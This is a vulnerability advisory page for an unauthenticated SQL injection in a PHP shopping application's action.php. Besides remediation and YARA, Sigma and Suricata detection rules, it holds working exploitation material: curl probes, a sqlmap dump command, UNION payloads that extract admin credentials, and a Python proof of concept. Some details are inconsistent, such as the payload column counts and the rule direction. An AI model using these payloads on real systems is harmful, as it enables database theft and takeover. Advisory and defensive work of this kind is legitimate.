CVE-2025-51968
Executive Summary
CVE-2025-51968 is a critical SQL Injection vulnerability discovered in the PuneethReddyHC Online Shopping System Advanced 1.0. The flaw resides in the action.php file, specifically within the proId POST parameter. The application fails to sanitize or parameterize user-supplied input, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to complete database compromise, including extraction of user credentials, personal data, and administrative access.
The vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'). The CVSS v3.1 base score is 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction. The EPSS score is 0.0%, indicating low current exploitation probability, but the public availability of proof-of-concept code increases the risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present beyond the direct use of the vulnerable software.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Ability to modify or delete data.
- Availability (A): High (H) – Potential to disrupt database operations.
Threat Level: Critical. An unauthenticated attacker can dump the entire database, including admin credentials, leading to full system takeover.
Deep Dive & Mechanics
The vulnerability exists in the action.php file, which handles product-related actions. The proId parameter is directly concatenated into an SQL query without any sanitization or prepared statements.
Vulnerable Code Snippet (action.php):
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = $proId";
$result = mysqli_query($conn, $query);
The attacker can manipulate the proId parameter to break out of the intended query structure. For example, submitting:
proId=1 UNION SELECT username, password FROM admin_users
would return admin credentials in the application's response.
Attack Vector:
- Method: POST request to
action.php - Parameter:
proId - Payload Example:
1' OR '1'='1' -- - - Impact: Unauthenticated SQL injection leading to data exfiltration, authentication bypass, and potential remote code execution via
INTO OUTFILE.
Vulnerable vs. Patched Code
Vulnerable Code (action.php):
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = $proId";
$result = mysqli_query($conn, $query);
Patched Code (Recommended):
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
The patched version uses a prepared statement with a parameterized query, ensuring that user input is treated as data, not executable code. The bind_param with type i (integer) also enforces type safety.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: PuneethReddyHC Online Shopping System Advanced 1.0 running on Apache/Nginx with PHP and MySQL.
- Attacker: Kali Linux with
sqlmapandcurl.
Exploitation Steps:
Identify the vulnerable endpoint:
curl -X POST http://target/action.php -d "proId=1"Confirm SQL Injection:
curl -X POST http://target/action.php -d "proId=1' AND '1'='1"Automated exploitation with sqlmap:
sqlmap -u "http://target/action.php" --data="proId=1" --batch --dumpManual UNION-based injection to extract admin credentials:
proId=1 UNION SELECT 1,2,3,username,password FROM admin_users
Proof-of-Concept (PoC) Code:
import requests
target = "http://target/action.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100"
data = {"proId": payload}
response = requests.post(target, data=data)
print(response.text)
Blue Team (Defensive)
Detection Steps:
- Monitor HTTP POST requests to
action.phpfor abnormalproIdvalues containing SQL keywords (UNION,SELECT,OR,AND,--). - Enable database query logging to capture all SQL statements executed by the application.
- Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement input validation on the server side: reject any
proIdthat is not a positive integer.
Honeypot Strategy:
- Create a fake
action.phpendpoint that logs all POST data and alerts on suspicious patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/action.phpwithproIdcontaining SQL keywords. - Outbound database connections from the web server to unknown IPs (data exfiltration).
- POST requests to
- File IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php) created viaINTO OUTFILE.
- Unexpected files in the web root (e.g.,
- Log IOCs:
- MySQL error logs showing syntax errors near
UNIONorOR. - Web server access logs with
proId=1' UNION SELECT...patterns.
- MySQL error logs showing syntax errors near
Detection Engineering
YARA Rule
rule CVE_2025_51968_SQLi_ProId {
meta:
description = "Detects SQL injection attempts targeting proId parameter in action.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51968"
strings:
$s1 = "proId=" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR" nocase
$s5 = "AND" nocase
$s6 = "--" nocase
$s7 = "/*" nocase
condition:
$s1 and (any of ($s2,$s3,$s4,$s5,$s6,$s7))
}
Sigma Rule
title: CVE-2025-51968 SQL Injection Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against proId parameter in action.php
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/action.php'
cs-uri-query|contains: 'proId='
keywords:
- 'UNION'
- 'SELECT'
- 'OR '
- 'AND '
- '--'
- '/*'
condition: selection and keywords
falsepositives:
- Legitimate use of product IDs containing these strings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-51968 SQL Injection Attempt - proId Parameter";
flow:to_server,established;
content:"POST";
http_method;
content:"/action.php";
http_uri;
content:"proId=";
http_client_body;
pcre:"/(UNION|SELECT|OR |AND |--|\/\*)/Ri";
sid:1000001;
rev:1;
reference:cve,2025-51968;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint (
action.php) until a patch is applied. - Implement input validation: Ensure
proIdis a positive integer. - Use parameterized queries (prepared statements) for all database interactions.
Long-Term Fix:
- Replace all dynamic SQL queries with prepared statements using PDO or MySQLi.
- Apply the principle of least privilege to the database user (no
FILEprivilege). - Conduct a full security audit of the application.
Workaround:
- If immediate code changes are not possible, deploy a WAF rule to block SQL injection patterns in the
proIdparameter.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-51968
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.